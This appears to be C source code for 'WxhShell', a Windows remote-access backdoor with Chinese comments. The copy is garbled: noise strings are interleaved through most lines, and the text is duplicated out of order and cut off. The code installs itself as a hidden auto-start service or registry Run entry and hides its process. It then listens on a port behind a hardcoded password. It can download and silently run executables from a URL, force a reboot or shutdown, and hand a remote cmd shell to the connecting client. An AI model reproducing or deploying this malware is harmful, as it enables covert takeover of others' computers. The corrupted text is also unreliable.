@ AI Kz]J0; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |xg_z&dX g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =5Nh}o(l? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a2tEp+7? &0tW{-Hv" if (!NtQueryInformationProcess) return 0; nj1o!+9>$ YB<nz<;JR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m C`*#[ if(!hProcess) return 0; MtaGv#mJ ^m&I^ \ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :8hI3]9 Rb. vyQ CloseHandle(hProcess); 6>oc,=MV/ MIn_?r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vSC1n8 / if(hProcess==NULL) return 0; \"))P1 ;+(VO HMODULE hMod; q6w)zTpJGJ char procName[255]; ~J&-~<%P} unsigned long cbNeeded; ;{L[1OP%e `:*2TLxIk if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &(A#F[ =0 dH
PvVe/ CloseHandle(hProcess); nc\`y,>l8 q?dd5JzZy, if(strstr(procName,"services")) return 1; // 以服务启动 x\(#
p:5NMo return 0; // 注册表启动 ~!qnKM>[ } BQ)>}YHk W/hzo*o'g // 主模块 x,.= VB int StartWxhshell(LPSTR lpCmdLine) M\a{2f7'n { 6]~/`6Dub SOCKET wsl; PfRA\ BOOL val=TRUE; E;{RNf| int port=0; m*A b<$y struct sockaddr_in door; HY
FMf3 f?
@Qt<+k if(wscfg.ws_autoins) Install(); \)r M C] jwa6`u port=atoi(lpCmdLine); s_XCKhN: 6?~9{0 if(port<=0) port=wscfg.ws_port; B=L!WGl<! (
_6j@?u WSADATA data; GDSXBa*7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ] xHiy+ H-+U^@w if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fmj}NV&ma setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n qO*z< door.sin_family = AF_INET; G)%V 3h door.sin_addr.s_addr = inet_addr("127.0.0.1");
Um{) ?1 door.sin_port = htons(port); 3qf#NJN} xc 1d[dCdp if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _<#92v!F closesocket(wsl); 3*~`z9-z return 1; BVNJas } v_EgY2l( ~`FRU/@r if(listen(wsl,2) == INVALID_SOCKET) { g9|OhymB closesocket(wsl); 5L[imO M0 return 1; D]fuX|f~ul } m+;U,[%[*E Wxhshell(wsl); n=V|NrU WSACleanup(); ''@Tke3IG6 i0K 2#}=^ return 0; PdqvXc ?Y3i-jY } Qe>_\-f
VsL,t\67 // 以NT服务方式启动 G\dPGPPM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L?+N:G
{ g;'S5w9S DWORD status = 0; H=C~h\me? DWORD specificError = 0xfffffff; #o/;du .1RQ}Ro,< serviceStatus.dwServiceType = SERVICE_WIN32; hdx_Tduue serviceStatus.dwCurrentState = SERVICE_START_PENDING; JAd .\2%Y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /y{:N serviceStatus.dwWin32ExitCode = 0; m(U.BXo serviceStatus.dwServiceSpecificExitCode = 0; tj~r>SRb+ serviceStatus.dwCheckPoint = 0; pNOE
KiJ serviceStatus.dwWaitHint = 0; 0*b8?e :38h)9>RK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5?SE?VC=t if (hServiceStatusHandle==0) return; pI-Qq%Nwt U1y!R<qlp status = GetLastError(); v1~l=^4& if (status!=NO_ERROR) H`)eT6:|/ { ^3$U[u%q/{ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,--#3+]XU serviceStatus.dwCheckPoint = 0; f}(4v1T serviceStatus.dwWaitHint = 0; @y7KP$t serviceStatus.dwWin32ExitCode = status; IC'+{3.m8 serviceStatus.dwServiceSpecificExitCode = specificError; Ft11?D
B SetServiceStatus(hServiceStatusHandle, &serviceStatus); S/) ),~`4 return; dY&v(~&;] } #~nXAs]Q y/Y}C.IWp) serviceStatus.dwCurrentState = SERVICE_RUNNING; \Hrcf +` serviceStatus.dwCheckPoint = 0; hGY-d}npAJ serviceStatus.dwWaitHint = 0; /)J]ItJlz if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W7WHDL^ } \99'#]\_/E !7I07~&1 // 处理NT服务事件,比如:启动、停止 G<-KwGy,D VOID WINAPI NTServiceHandler(DWORD fdwControl) 4AJT)I. { %<nGm\ switch(fdwControl) 8iaMr278W { a5/, O4Q case SERVICE_CONTROL_STOP: )jgz(\KZ serviceStatus.dwWin32ExitCode = 0; #rX^)2 serviceStatus.dwCurrentState = SERVICE_STOPPED; ai$l7]7 serviceStatus.dwCheckPoint = 0; *W\ 3cS serviceStatus.dwWaitHint = 0; qfl!>
{ KJoa^e;~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5/j8=G H` } 'uL$j=vB return; yg'CL/P case SERVICE_CONTROL_PAUSE: W`9{RZ' serviceStatus.dwCurrentState = SERVICE_PAUSED; ,dQ*0XO! break; 8iY.!.G#| case SERVICE_CONTROL_CONTINUE: *Ci&1Mu^Z serviceStatus.dwCurrentState = SERVICE_RUNNING; q;nAq% break; 13/,^? case SERVICE_CONTROL_INTERROGATE: 4bGvkxZo`$ break; plB8iN`x< }; 59D'*!l- SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Z2h?..O } A4@z+ebb l zqdkt ` // 标准应用程序主函数 drjNK!XL@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h SS9mQ { =<H ekiYM G`%rnu // 获取操作系统版本 @JhkUGG]p OsIsNt=GetOsVer(); 6Zn[l,\ GetModuleFileName(NULL,ExeFile,MAX_PATH); uo]\L^j IrCl\HQN // 从命令行安装 =@4,szLO if(strpbrk(lpCmdLine,"iI")) Install(); _@XueNU1hS )?SF IQ= // 下载执行文件 q!0HsF if(wscfg.ws_downexe) { &77J,\C$: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w,j!%N WinExec(wscfg.ws_filenam,SW_HIDE); N7"cMAs\G } 2Xv}JPS2As >x6\A7 if(!OsIsNt) { Dz~^AuD6 // 如果时win9x,隐藏进程并且设置为注册表启动 k8stXW-w HideProc(); hk5!$#^ StartWxhshell(lpCmdLine); >ph=?MKD } .jP|b~ else P??P"^hU if(StartFromService()) Vbp@n // 以服务方式启动 }|Q\@3& StartServiceCtrlDispatcher(DispatchTable); n%36a(]
t else <(Ar[Rp // 普通方式启动 2
oL$I(83 StartWxhshell(lpCmdLine); C<a&]dN/ &?QKWxN return 0; 3t9+Y dNKU } *y<eK0 'j'6x'[>] THOYx :Nr; .{t5_,P =========================================== jNX6Ct? W7|nc,i0\ _X?_|!;J [^a7l$fmi #B?lU"f8q^ k8n9zJ8 " ECL{`m(#n '@KH@~OzRS #include <stdio.h> B=W#eu
<1 #include <string.h> 3'L =S #include <windows.h> :dipk,b?n #include <winsock2.h> mm#UaEp #include <winsvc.h> zp9l u B #include <urlmon.h> :yJ#yad 3<)][<Ud #pragma comment (lib, "Ws2_32.lib") (bI/s'?K #pragma comment (lib, "urlmon.lib") w8q
2f-K- F#9^RA)9 #define MAX_USER 100 // 最大客户端连接数 90abA,U@ #define BUF_SOCK 200 // sock buffer <nk/w5nKL #define KEY_BUFF 255 // 输入 buffer #o~C0`8!B= %?V~7tHm> #define REBOOT 0 // 重启 _M8'~$Sg #define SHUTDOWN 1 // 关机 `Zmdlp@ eW<NDI&b #define DEF_PORT 5000 // 监听端口 )xU+M{p-os |AExaO"jk #define REG_LEN 16 // 注册表键长度 k fY; #define SVC_LEN 80 // NT服务名长度 Xajt][ |ul{d| // 从dll定义API J=kf KQV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fA1{-JzV<4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VPO~veQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PQ_A^ 95 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AwuhFPG be-HF;lZe' // wxhshell配置信息 @`B_Q v@ struct WSCFG { S/eplz; int ws_port; // 监听端口 -0`n(`2 char ws_passstr[REG_LEN]; // 口令 H0B=X l[ int ws_autoins; // 安装标记, 1=yes 0=no { **W7\h char ws_regname[REG_LEN]; // 注册表键名 *@@dO_%6 char ws_svcname[REG_LEN]; // 服务名 Lf<urIF char ws_svcdisp[SVC_LEN]; // 服务显示名 \L?A4Qx)_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 h~%8p
] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PVxu8n int ws_downexe; // 下载执行标记, 1=yes 0=no @v&P;=lU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iSOyp\E| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5(1c?biP& eFy
{VpO+ }; >*B59+1P -e"kJd&V // default Wxhshell configuration xp^Jp struct WSCFG wscfg={DEF_PORT, GHi'ek <?^ "xuhuanlingzhe", @+Nf@LJ 1, VL"Cxs
"Wxhshell", fO#nSB/
8 "Wxhshell", !w/fwOo "WxhShell Service", VS`{k^^ "Wrsky Windows CmdShell Service", o)b-fAd@$ "Please Input Your Password: ", `l70i2xcj 1, V#Y"0l+~ "http://www.wrsky.com/wxhshell.exe", @|w/`!}9q "Wxhshell.exe" "85)2*+ };
e1V1Ae u^'X>n)oL# // 消息定义模块 8ZjRMr} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `{IL.9M!f char *msg_ws_prompt="\n\r? for help\n\r#>"; icVB?M,m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >bmdu\j5R char *msg_ws_ext="\n\rExit."; 3,hu3"@k char *msg_ws_end="\n\rQuit."; ]M "U 'Z char *msg_ws_boot="\n\rReboot..."; f*xv#G char *msg_ws_poff="\n\rShutdown..."; KT(v'KE 1 char *msg_ws_down="\n\rSave to "; iN0'/)ar :T@} CJ char *msg_ws_err="\n\rErr!"; 'F/uD1; char *msg_ws_ok="\n\rOK!"; c%wztP;L lc [)Ev char ExeFile[MAX_PATH]; p,(W?.ZDN? int nUser = 0; c*R\fQd HANDLE handles[MAX_USER]; S5H} int OsIsNt; h~._R6y Ks^wX SERVICE_STATUS serviceStatus; N<KsQsy= SERVICE_STATUS_HANDLE hServiceStatusHandle; `|92!Ej )L":I // 函数声明 &Wdi
5T8 int Install(void); 0Q#}: int Uninstall(void); fX\y/C int DownloadFile(char *sURL, SOCKET wsh); qv:DpK int Boot(int flag); |RXXj [z void HideProc(void); b>#dMRK int GetOsVer(void); ApggTzh@ int Wxhshell(SOCKET wsl); Y>8JHoV void TalkWithClient(void *cs); eqOT@~H int CmdShell(SOCKET sock); ^e\$g2). int StartFromService(void); 9R-2\D] int StartWxhshell(LPSTR lpCmdLine); d mTZEO <wd;W;B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ui1s]R VOID WINAPI NTServiceHandler( DWORD fdwControl ); -i91nMi] Cd6th
F) // 数据结构和表定义 Uhn3usK SERVICE_TABLE_ENTRY DispatchTable[] = Be\@n xV[ { Jko=E
{wscfg.ws_svcname, NTServiceMain}, r/)ZKO, {NULL, NULL} |v#D}E }; Q_0_6,Opb ?V~vP%1 // 自我安装 xjAU
Csq int Install(void) /Q89 y[ { 7dE.\#6r char svExeFile[MAX_PATH]; A|U0e`Iw HKEY key; OP=-fX|*Q strcpy(svExeFile,ExeFile); KCp9P2kv. x",ktE>9 // 如果是win9x系统,修改注册表设为自启动 rmWsob if(!OsIsNt) { CQ{{J{pU" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vvfd?G" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 68<W6z RegCloseKey(key); _sL;E<)y( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U(OkTJxv+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tt6GtYrC 1 RegCloseKey(key); G-:7,9 return 0; 7>0/$i#'Vl } x]R0zol } ]!jfrj } cc1M9kVi else { 0$=U\[og )7#3n(_np // 如果是NT以上系统,安装为系统服务 TnKOr~ @* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )
jM-5}" if (schSCManager!=0) 6iHY{WcDj { Cy5iEI# SC_HANDLE schService = CreateService
J!3;\ ( hl)jE
06 schSCManager, uc]5p(9Hb wscfg.ws_svcname, _[l&{, wscfg.ws_svcdisp, Z>X]'q03 SERVICE_ALL_ACCESS, ]F;1 l3I- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z_A\\ SERVICE_AUTO_START, v:9'k~4) SERVICE_ERROR_NORMAL, LN5q_ZvR svExeFile, ,K30.E NULL, OJM2t`}_t NULL, 9q[[
,R
NULL, Are0Nj&? NULL, \CS4aIp NULL j+gh*\:q ); xbHI4A"Z if (schService!=0) X%B$*y5 { e5;YY CloseServiceHandle(schService); gv(MX
;B# CloseServiceHandle(schSCManager); FlrY Xau strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bwszfPM strcat(svExeFile,wscfg.ws_svcname); ]n:R#55A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i3$G)W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +t
Prqv"( RegCloseKey(key); z 9WeOs return 0; c]$$ap } J{XRltI+ } 'L{pS-+6 CloseServiceHandle(schSCManager); Ri::Ek3qu } wM-H5\9n } t!B,%,Dp J'WOqAnPZ return 1; =`CK`x } #i.BOQxS gt~u/Z% // 自我卸载 *;F<Q!i&v int Uninstall(void) LFYSur8 { WZTv HKEY key; \~U:k4 e~R_ bBQ0 if(!OsIsNt) { a6It1%a+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MFWkJbZV RegDeleteValue(key,wscfg.ws_regname); k!WeE#"( RegCloseKey(key); 2$o\`^dy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #P!M"_z RegDeleteValue(key,wscfg.ws_regname); m<*+^JN RegCloseKey(key); !#e+!h@ return 0; Q?`s4P)14o } D})12qB;u9 } \SYeDy } .>-D{ else { 2Ib
1D R -mn8N& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^i3!1cS if (schSCManager!=0) aJ1{9 5ea { 4gmlK,a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g2u\gR5 if (schService!=0) yKm6
8n^
{ Nm%#rZrN~Q if(DeleteService(schService)!=0) { Uw3wR!: CloseServiceHandle(schService); /pLf?m9 CloseServiceHandle(schSCManager); ,WW=,P return 0; Z,~@_;F } M@*Y&(~ CloseServiceHandle(schService); =fB"T+ } K;w]sN+I CloseServiceHandle(schSCManager); N+pCC } g$/7km{TP } pRjrMS <w?k<%( 4 return 1; 2l:cP2fa } 6UqDpL7^U 13Q87i5B // 从指定url下载文件 *Aug7
HlS int DownloadFile(char *sURL, SOCKET wsh) p^ OHLT { N'pYz0_H HRESULT hr; +4[9Eb'k= char seps[]= "/"; hb}Qt Q char *token; - _%~b char *file; 'jye* char myURL[MAX_PATH]; :<5jlpV( char myFILE[MAX_PATH]; <HpUP!q8v Ufor> strcpy(myURL,sURL); W!+=`[Ff token=strtok(myURL,seps); ;U y}( while(token!=NULL) )?6%d { \uJ+~db= file=token; zzd PR}VG token=strtok(NULL,seps); gp'k(rGH } )6o%6$c wuSotbc/ GetCurrentDirectory(MAX_PATH,myFILE); 6/"#pe^ strcat(myFILE, "\\"); `/B+ strcat(myFILE, file); z+zEH9.' send(wsh,myFILE,strlen(myFILE),0); J*Cf1 D5! send(wsh,"...",3,0); H"?Ndl: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IaO&f<^#o if(hr==S_OK) ~K(mt0T) return 0; BV}sN{ else EDF0q i return 1; .%M80X{5~ <l eE.hhf. } ;Qc^xIPy WQBV~.<Yv // 系统电源模块 G%K&f1q% int Boot(int flag) xNLgcb@v> { q:vGG K^ HANDLE hToken; wZKmU TOKEN_PRIVILEGES tkp; .4<lw
f<'D?d)L^ if(OsIsNt) { ph%t
#R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jQBn\^w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HLc3KYIk tkp.PrivilegeCount = 1; <$K7f tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f=8{cK0j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4VC8#x1 if(flag==REBOOT) { q_"w,28 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b"OH Xu return 0; ?t/\ ID } ln6=XDu else { OE _V6Er if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zv8_<>e return 0; ?H_>?,^ } \pP1k.~UnC } 5Ux= 5a else { <@0S]jy if(flag==REBOOT) { Q6N?cQtOT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pA_e{P/ return 0; rdAy '38g } x]4>f[>*> else { 6(ER$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k(@W
z>aCv return 0; ]a[2QQ+g } :0bjPQj } z$M-UxY 9eR";Wm]) return 1; 'rVB2
`z- } Id8e%) DwWm(8&6;} // win9x进程隐藏模块 *V[I&dKq void HideProc(void) z>'vS+axV { =CjWPZShV ~w.y9)", HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iDltN]zS if ( hKernel != NULL ) ^E~1%Md. { W[>qiYf^b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yDj'')LOQg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kp;a(D FreeLibrary(hKernel); SQMtR2 } a=6@} l1< `f<w+u return; `L!L=.}4 } :z%Zur+n c $P2*qpqy // 获取操作系统版本 b S' dXP int GetOsVer(void) $0+&xJVn { }U%T6~_wR OSVERSIONINFO winfo; c}H}fyu%n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QC6QqcOX GetVersionEx(&winfo); ]!s@FKC{; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) btbuE return 1; z<J2e^j else RS@G.| return 0; :u)Qs#'29 } YHxQb$v) uh>"TeOi // 客户端句柄模块 - Nt8'- int Wxhshell(SOCKET wsl) D<WGau2H { {CFy
% SOCKET wsh; (Bv~6tj~J struct sockaddr_in client; gtqtFrleG DWORD myID; S@TfZ3Go| &MB1'~Q,hq while(nUser<MAX_USER) 9S l5jn { xmfZ5nVL int nSize=sizeof(client); 0;]VTz?P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y
k\/Cf if(wsh==INVALID_SOCKET) return 1; Fzn! 0<^Qj.(9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vo|[Z)MO` if(handles[nUser]==0) ~ftR:F|9 closesocket(wsh); APCE}%1U else 4ti,R' nUser++; U r8JG&, } k?1e+ \ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y'z9Ya _94R8?\_V7 return 0; w$""])o, } $4^h>x \XfLTv // 关闭 socket JbN,K void CloseIt(SOCKET wsh) f'BmIFb# { P0k.\ 8qz closesocket(wsh); Os!x<r|r nUser--; 1@F>E;YjL= ExitThread(0); X?(R!=a } K@{R?j/+ GgE
38~A4 // 客户端请求句柄 n;~'W*Ln0 void TalkWithClient(void *cs) Qo*OC 9E` { s{42_O?,c nB/`~_9 SOCKET wsh=(SOCKET)cs; o> &-B.zq char pwd[SVC_LEN]; +6n\5+5 char cmd[KEY_BUFF]; Dr"PS
>. char chr[1]; =Wz)(N int i,j; A7T(p7pP uC[F'\Y while (nUser < MAX_USER) { 0C6T>E7 7y$U$6 if(wscfg.ws_passstr) { 3 FMYs&0r4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Cj3\G4, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9V;A+d, //ZeroMemory(pwd,KEY_BUFF); E
0@u| i=0; ]Y$jc while(i<SVC_LEN) { m';4`Y5- *Xn6yL9 // 设置超时 H|'n|\{lt fd_set FdRead; Y^XZ.R struct timeval TimeOut; O:8Ne*L`D FD_ZERO(&FdRead);
=NWzsRl, FD_SET(wsh,&FdRead); G-#rWZ& TimeOut.tv_sec=8; ;qcOcm% TimeOut.tv_usec=0; Dv4 H^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zhY]! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f=Oj01Ut* .\3gb6S} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~K
('t9| pwd=chr[0]; t Q.%f:| if(chr[0]==0xd || chr[0]==0xa) { HHOqJb{8S pwd=0; AXv-%k}; break; e488}h6#m } K
28s<i` i++; (-@I'CFd } KHM,lj* SPauno <M // 如果是非法用户,关闭 socket q#"lnc<S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F'@9kdp } $^YHyfh S8C}C# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
E/gfX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o?I`n*u"X 8:Dkf v while(1) { J?1Eh14KZ *|gl1S ZeroMemory(cmd,KEY_BUFF); P~PM $e f9O_M1=|lo // 自动支持客户端 telnet标准 z9v70
q j=0; 1k{H,p7 while(j<KEY_BUFF) { }{[JS=A^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |lyspD cmd[j]=chr[0]; )r(e\_n if(chr[0]==0xa || chr[0]==0xd) { s~c cx"HH cmd[j]=0; KbH|'/w break;
6B}V{2 } G}aM~, v j++; X<f4X"y } Ty*+?#` n} ]gAX // 下载文件 t$lJgj(
if(strstr(cmd,"http://")) { 3(:?Z-iKe send(wsh,msg_ws_down,strlen(msg_ws_down),0); g+xcKfN{ if(DownloadFile(cmd,wsh)) $-
Y8@bw send(wsh,msg_ws_err,strlen(msg_ws_err),0); >A}ra ^gU else ?q y*` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /sqfw,h@ } j|b$b,rF\ else { \)2'+R Z}3;Ych switch(cmd[0]) { GY"c1KE$ :J+ANIRI // 帮助 LCb0Kq}*/( case '?': { }s8xr> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R?J8#JPXD break; {@PZlQg } Ij9=J1c4 // 安装 v7D0E[)~ case 'i': { VS65SxHA if(Install()) BU|m{YZ$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)4Q%Zp else {&FOa'bP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r>rL[`p(2 break; <t"fL
RX } ?DY6V;&F@f // 卸载 @scSW5+ case 'r': { ?gjkgCbC# if(Uninstall()) sBNqg~HwB? send(wsh,msg_ws_err,strlen(msg_ws_err),0); }T53y6J# else <d{>[R) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZR8y9mx2" break; V-"#Kf9 } !.O;SG // 显示 wxhshell 所在路径 %PPkT]~\ case 'p': { 2Ic)]6z
R char svExeFile[MAX_PATH]; CYM>4C~>JW strcpy(svExeFile,"\n\r"); e'fo^XQn[ strcat(svExeFile,ExeFile); 6 I43a1[s send(wsh,svExeFile,strlen(svExeFile),0); cq/@ng*o break; R0F&!y!B } *~.'lE%[U // 重启 ~x J#NC+ case 'b': { CU/Id`"tW send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1`Uu;mz if(Boot(REBOOT)) WISK-z send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~SXqhX-` else { \8k4v#wH closesocket(wsh); C]3^:b+ ExitThread(0); 5{-54mwo } &0+Ba[Z ^ break; d-I=xpB } D8b9T.[( // 关机 -)DxF<8B case 'd': { 4OG1_6K send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i\*
b<V if(Boot(SHUTDOWN)) %V(U]sbV send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8C I\NR{x8 else { :aD_>,n closesocket(wsh); vI(CX]o ExitThread(0); q%XjJ -s: } @J6V, break; ]@l;;Sp } O_*tDq,e // 获取shell v}@Uc-( case 's': { mw83 pU6 CmdShell(wsh); '"6*C*XS closesocket(wsh); 8]4W@~c ExitThread(0); =vL
>&$ break; yx7y3TSq } CH6;jo] // 退出 0 4a@ case 'x': { 0Q]{r ) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Xasd3*Py CloseIt(wsh); t;y@;?~ break; >Hd!o"I } hS^8/]E={ // 离开 c2PBYFCyC case 'q': { r6nWrO>y send(wsh,msg_ws_end,strlen(msg_ws_end),0); V@`%k]k closesocket(wsh); |#B)`r8 WSACleanup(); $7p0<<Nck exit(1); {k']nI.> break; Zb+n\sv4 } IYhn* } ^[q/w<_j~ } 1W7ClT_cQ "_\77cqpTh // 提示信息 9CZEP0i7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i~m;Ah,# } g? C<@ } $Ut1vp1$ DyRU$U return; WKq{g+a } Bey9P)_Of o9Tsyjbj // shell模块句柄 :T#f&|Gg; int CmdShell(SOCKET sock) Mp@dts/| { =3GgfU5k STARTUPINFO si; ~;oaW<" ZeroMemory(&si,sizeof(si)); ra1_XR} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {G=|fgz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?%b#FXA PROCESS_INFORMATION ProcessInfo; +rKV*XX@ char cmdline[]="cmd"; zOis}$GR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z
jXn,W]~ return 0; 35fj-J$8 } 2>xEE H$6;{IUz~ // 自身启动模式 M4t:)!dji? int StartFromService(void) pwNF\ ={ { Z5"5Ge-M typedef struct ,fhK { RZ?abE8 DWORD ExitStatus; S]gV! Q4% DWORD PebBaseAddress; <
WQ
~X<1D DWORD AffinityMask; ?p>m;Aq DWORD BasePriority; "l B%"} ULONG UniqueProcessId; uFfk! ULONG InheritedFromUniqueProcessId; N \woFrG } PROCESS_BASIC_INFORMATION; I@(3~ Ab *~zB { PROCNTQSIP NtQueryInformationProcess; $/Llzpvny w[u>*I static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5#dJga/88 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )1!0'j99. H4W!@"e HANDLE hProcess; <#)Q.P PROCESS_BASIC_INFORMATION pbi; g!`^!Q/($ sLc,Dx"+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N <M6~ if(NULL == hInst ) return 0; bDq<]h_7 xr31<4B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WFvVu3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ".kH5(: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W A#y& zuJ@@\75 if (!NtQueryInformationProcess) return 0; m=60a@o] $@~sO0q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r(g#3i4Q if(!hProcess) return 0; {@[#0gPH #d$lN}8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {gB9EGY K#R|GEwr CloseHandle(hProcess); I.U=%{. SgQ(#y|vV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FMT_X if(hProcess==NULL) return 0; HcGbe37Xq ]ts^h~BZ$ HMODULE hMod; 8>|<m'e^\r char procName[255]; $|I hO unsigned long cbNeeded; 